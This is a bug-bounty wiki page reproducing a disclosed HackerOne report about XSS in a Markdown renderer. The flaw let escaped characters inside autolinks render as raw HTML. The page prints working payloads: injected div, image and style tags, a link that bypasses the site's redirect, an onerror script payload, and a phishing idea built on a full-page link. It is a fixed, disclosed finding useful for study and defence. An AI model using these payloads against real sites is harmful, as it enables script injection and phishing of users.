Skip to content
XSS Disclosed report Intermediate

Vulnerability with the way \ escaped characters in <http://danlec.com> style links are rendered

The Markdown renderer turned escaped characters inside angle-bracket autolinks into raw HTML, so a user could inject arbitrary elements such as styled divs, images, links and style tags. On browsers without good CSP support, an attacker could run script when a victim viewed the submission.

danlec Follow

Originally disclosed on HackerOne

Bounty$5,000 High View original
  • Triaged in 10 hours
  • Fixed in 12 hours
  • Paid in 19 hours
  • Disclosed after 42 hours

<http://<div\ style="font-size:24px;background:red;color:white;width:100%;height:48px;line-height:48px;text-align:center;">Uh\ oh!</div>>

Basic POC:

Sequences like <http://\<h1\>test\</h1\>> are rendered as http://<h1>test</h1>

Examples of what could be done with this:

Obviously there's a whole variety of stuff that can be done when you can inject arbitrary HTML, even in spite of the CSP protection.

We can put in elements we're not supposed to (see above, where we've inserted an attention grabbing div)

We can put in "arbitrary" images (i.e. profile pictures)

<http://\<img\ src=\"https://profile-photos.hackerone-user-content.com/production/000/000/013/76b3a9e70495c3b7340e33cdf5141660ae26489b_large.png?1383694562\"\>

<http://<img\ src="https://profile-photos.hackerone-user-content.com/production/000/000/013/76b3a9e70495c3b7340e33cdf5141660ae26489b_large.png?1383694562">>

We can put in our own <style> tags, e.g. using

<http://\<style\>.markdownable\ blockquote{color:white;border:0;padding:0;margin:0;}a{color:red !important}\</style\>>

<http://<style>.markdownable\ blockquote{color:white;border:0;padding:0;margin:0;}a{color:red\ !important}</style>>

Serious Exploits

We can bypass HackerOne's link /redirect:

<http://\<a\ href=\"http://danlec.com\"\>Redirect\ bypassed\</a\>>

If we wanted to be particularly sneaky, we could use CSS to make a link cover the whole submission, so clicking anywhere would activate the link … which might allow us to do some phishing by having the link go to a fake HackerOne login screen.

<http://<a\ href="http://danlec.com">Redirect\ bypassed</a>>

For browsers without good CSP support, like IE11, we can use this to run script on a victim when they try to view our submission using

<http://\<img\ style=\"display:none\"\ src=0\ onerror=\"alert(\'Uh\ oh\')\"\>>

<http://<img\ style="display:none"\ src=0\ onerror="alert('Uh\ oh')">>

(If you're using IE11 for some reason, you'll get an alert when you view this submission)

The original report as published on HackerOne, by danlec. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could inject arbitrary HTML, bypass the site's link redirect, and on browsers without good CSP support run script when a victim viewed the submission; on browsers with CSP the script was blocked.

What the attacker needed

Ability to post Markdown content; victim views the submission; script execution needs a browser without good CSP

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Markdown lets people write links in a short form, and the site is supposed to show the link text safely. Here the site removed the backslashes that were meant to keep the angle brackets as plain text, then treated the result as real HTML. That let the author add their own page elements, and on some browsers run JavaScript.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by danlec

View all

6 more disclosed reports, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.